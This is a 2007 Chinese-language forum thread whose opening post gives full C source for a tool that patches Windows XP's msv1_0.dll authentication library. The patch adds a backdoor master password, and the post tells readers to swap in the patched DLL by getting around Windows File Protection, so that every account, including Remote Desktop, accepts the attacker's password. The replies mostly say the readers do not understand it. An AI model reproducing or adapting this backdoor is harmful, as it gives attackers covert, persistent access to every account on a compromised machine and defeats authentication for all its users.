满天飞的猪 - 2007-12-21 17:27:00
#include <stdio.h>
#include <stdlib.h>
#include "windows.h"
#include "wincrypt.h"
wchar_t passwd[1024];
char path[1024], hash[16];
const int os1 = 0x8DB0, os2 = 0x1C3A7, ospasswd = 0x1C397;
const char chunk1[] = {
0xE8, 0xF2, 0x35, 0x01, 0x00, 0x90
};
const char chunk2[] = {
0x55, 0x8B, 0xEC, 0x6A, 0x10, 0xFF, 0x75, 0x0C,
0x68, 0x97, 0xCF, 0xC5, 0x77, 0xFF, 0x15, 0xCC,
0x10, 0xC4, 0x77, 0xC9, 0x83, 0xF8, 0x10, 0x75,
0x03, 0xC2, 0x00, 0x00, 0xFF, 0x25, 0xCC, 0x10,
0xC4, 0x77
};
void err(char *msg) {
printf("error: %s\n", msg);
exit(1);
}
int main(int argc, char *argv[]) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
unsigned len, sint = sizeof(int);
FILE *fout;
if (argc != 2) {
printf("msv1_0.dll password backdoor generator by cly\n"
"Usage:\n%s password\nOnly for winxp sp2\n", argv[0]);
exit(1);
}
len = strlen(argv[1]);
if (len > 512)
err("the password is too long");
len = MultiByteToWideChar(CP_ACP, 0, argv[1], len, passwd, 1024);
if(!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, 0))
if (!CryptAcquireContext(&hProv, NULL, MS_DEF_PROV,
PROV_RSA_FULL,
CRYPT_NEWKEYSET))
err("CryptAcquireContext");
if (!CryptCreateHash(hProv, CALG_MD4, 0, 0, &hHash))
err("CryptCreateHash");
if (!CryptHashData(hHash, passwd, len * sizeof(wchar_t), 0))
err("CryptHashData");
CryptGetHashParam(hHash, HP_HASHSIZE, &len, &sint, 0);
if (len != 16)
err("CryptGetHashParam");
CryptGetHashParam(hHash, HP_HASHVAL, hash, &len, 0);
if (hHash)
CryptDestroyHash(hHash);
if (hProv)
CryptReleaseContext(hProv, 0);
if (strlen(getenv("windir")) > 512)
err("Are you kidding?");
sprintf(path, "%s\\system32\\msv1_0.dll", getenv("windir"));
if (!CopyFileA(path, "msv1_0.dll.cly", 0))
err("CopyFileA");
fout = fopen("msv1_0.dll.cly", "rb+");
if (fout == NULL)
err("fopen");
fseek(fout, os1, SEEK_SET);
fwrite(chunk1, sizeof(chunk1), 1, fout);
fseek(fout, os2, SEEK_SET);
fwrite(chunk2, sizeof(chunk2), 1, fout);
fseek(fout, ospasswd, SEEK_SET);
fwrite(hash, sizeof(hash), 1, fout);
fclose(fout);
return 0;
}
运行这个程序把得到的msv1_0.dll.cly复制到c:\windows\system32\msv1_0.dll(自己想办法绕过WFP),所
有的用户就可以用你设置的密码来登陆了,远程桌面也是可以的。这里只是提供一种思路,其他的版本比如win2k3应该而是可以这样搞的。其实我最开始是看到网上一片文章,不过他是空口令可以登陆,而我这是自己设置的口令可以登陆。
[用户系统信息]Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
独孤豪侠 - 2007-12-21 17:29:00
跟本就 日不懂啊
£尚伟男 - 2007-12-21 17:31:00
| 引用: |
【独孤豪侠的贴子】跟本就 日不懂啊 ……………… |
大哥~~~~~今天天气不错,下班了。
天月来了 - 2007-12-21 17:41:00
一样不懂
钱夫子 - 2007-12-21 17:49:00
又不懂
菜菜瓜瓜 - 2007-12-21 17:53:00
同楼上
我心永恒2007 - 2007-12-21 18:03:00
还是不懂
haohe的fans - 2007-12-21 20:29:00
猫哥来看看
UFO哈哈 - 2007-12-21 22:39:00
不懂不懂
朗州司马 - 2007-12-21 23:02:00
赫赫 对牛弹琴
我心永恒2007 - 2007-12-22 6:51:00
char path[1024]这个数组定义的这么大,会不会很占内存啊
© 2000 - 2026 Rising Corp. Ltd.